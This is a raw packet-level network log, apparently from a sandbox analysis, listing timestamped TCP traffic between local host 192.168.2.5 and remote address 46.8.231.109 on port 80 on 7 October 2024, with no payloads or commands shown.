Oct 7, 2024 17:22:04.169832945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.169846058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.169991970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170001984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170013905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170048952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170048952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170074940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170074940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170074940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170075893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170089006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170106888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170115948 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170118093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170129061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170130968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170146942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170149088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170159101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170166969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170170069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170197964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170217037 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170217037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170258045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170598030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170648098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170650005 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170660973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170687914 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170706987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170711040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170723915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170734882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170763969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170763969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170778990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170785904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170795918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170805931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170819998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170849085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170876026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170893908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.170939922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.170996904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171037912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171077013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171088934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171111107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171120882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171122074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171138048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171161890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171163082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171173096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171210051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171237946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171248913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171260118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171271086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171278954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171308041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171328068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171339035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171350956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171360970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171369076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171402931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171405077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171415091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171417952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171437025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171447039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171447992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171458960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171473980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171500921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171812057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171822071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171833038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171843052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171854973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171861887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171865940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171876907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171878099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171890020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171895981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171901941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171911001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171922922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171922922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171935081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171946049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171952963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171957970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171967983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.171969891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171981096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171992064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.171992064 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.172012091 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.172039032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.173623085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.173635960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.173645973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.173696041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.173717022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.174657106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.174669027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.174679995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.174710989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.174726009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.174942970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.174953938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.174963951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.174968958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.174978971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175003052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175019979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175079107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175088882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175100088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175112009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175117970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175126076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175136089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175146103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175151110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175153971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175164938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175167084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175174952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175195932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175201893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175230980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175405979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175447941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175456047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175466061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175476074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175501108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175513983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175554037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175565004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175575972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175586939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175595045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175597906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175609112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175609112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175621986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175636053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175662994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175717115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175751925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175751925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175762892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175786972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175801992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175849915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175860882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175870895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175882101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175888062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175905943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175931931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.175976992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175987959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.175998926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.176008940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.176018000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.176018953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.176043987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.176059008 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.176234007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.176244020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.176278114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.176290035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252067089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252084970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252095938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252111912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252121925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252131939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252203941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252401114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252480030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252490997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252501965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252522945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252556086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252593994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252605915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252645969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252671003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252681971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252696037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252708912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252737999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252789974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252805948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252815962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252825975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252826929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252837896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252847910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252856970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252891064 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.252928972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252939939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252949953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.252969027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253002882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253247023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253257990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253268003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253285885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253314018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253484011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253495932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253505945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253518105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253580093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253592968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253603935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253614902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253629923 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253660917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253773928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253814936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253817081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253829002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.253855944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253875017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.253990889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254004002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254014969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254024982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254028082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254050016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254076004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254177094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254187107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254208088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254215002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254220009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254230022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254231930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254241943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254249096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254260063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254261971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254288912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254303932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254314899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254316092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254326105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254343033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254374027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254614115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254625082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254635096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254653931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254786968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254797935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254807949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254817009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254818916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254827976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254829884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254861116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.254971027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254981995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254991055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.254997015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255009890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255033970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255038977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255045891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255055904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255072117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255073071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255083084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255096912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255106926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255124092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255145073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255342960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255352020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255363941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255373955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255382061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255397081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255419016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255477905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255489111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255501986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255515099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255516052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255526066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255533934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255537033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255549908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255583048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255670071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255681038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255692005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255702019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.255707026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255733013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.255757093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.257302999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257354021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.257366896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257380009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257406950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.257600069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257611036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257622957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257635117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257646084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.257656097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.257671118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.257689953 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.258660078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258709908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.258712053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258725882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.258753061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.258766890 CEST	49704	80	192.168.2.5	46.8.231.109
